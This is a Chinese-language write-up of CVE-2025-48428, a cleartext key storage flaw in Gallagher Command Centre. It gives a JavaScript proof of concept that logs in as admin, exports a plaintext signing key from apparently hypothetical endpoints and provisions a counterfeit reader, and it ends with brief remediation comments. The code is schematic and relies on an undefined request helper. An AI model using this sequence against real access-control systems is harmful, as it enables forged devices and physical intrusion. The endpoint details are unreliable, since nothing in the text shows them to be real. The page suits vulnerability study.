CVE-2025-48428 Gallagher Command Centre 敏感信息明文存储漏洞

// CVE-2025-48428 PoC - 敏感信息明文存储漏洞利用概念验证 // 注意：此PoC仅用于安全研究和授权测试 // 假设已获取高权限用户凭证 const credentials = { username: "admin", password: "password", server: "target-gallagher-server" }; // 1. 认证访问Command Centre Server function authenticate(credentials) { const session = sendRequest('POST', '/api/auth/login', { username: credentials.username, password: credentials.password }); return session.token; } // 2. 访问Morpho集成模块并导出签名密钥 function exportSigningKey(sessionToken) { // 漏洞点：签名密钥以明文形式存储，可直接导出 const response = sendRequest('GET', '/api/morpho/keys/export', { Authorization: `Bearer ${sessionToken}`, keyId: 'active-signing-key' }); // 返回明文密钥 return response.keyData; // 敏感信息明文存储 } // 3. 使用导出的密钥部署假冒设备 function deployCounterfeitDevice(keyData) { const maliciousDevice = { serialNumber: "FAKE-SERIAL-001", signingKey: keyData, // 使用窃取的明文密钥 type: "morpho-reader" }; sendRequest('POST', '/api/devices/provision', maliciousDevice); } // 主程序 const token = authenticate(credentials); const signingKey = exportSigningKey(token); console.log("Exported signing key:", signingKey); deployCounterfeitDevice(signingKey); // 修复建议：实施加密存储和访问控制 function secureKeyStorage() { // 1. 使用AES-256加密敏感密钥 // 2. 实施基于角色的访问控制(RBAC) // 3. 审计所有密钥访问日志 // 4. 启用硬件安全模块(HSM)存储 }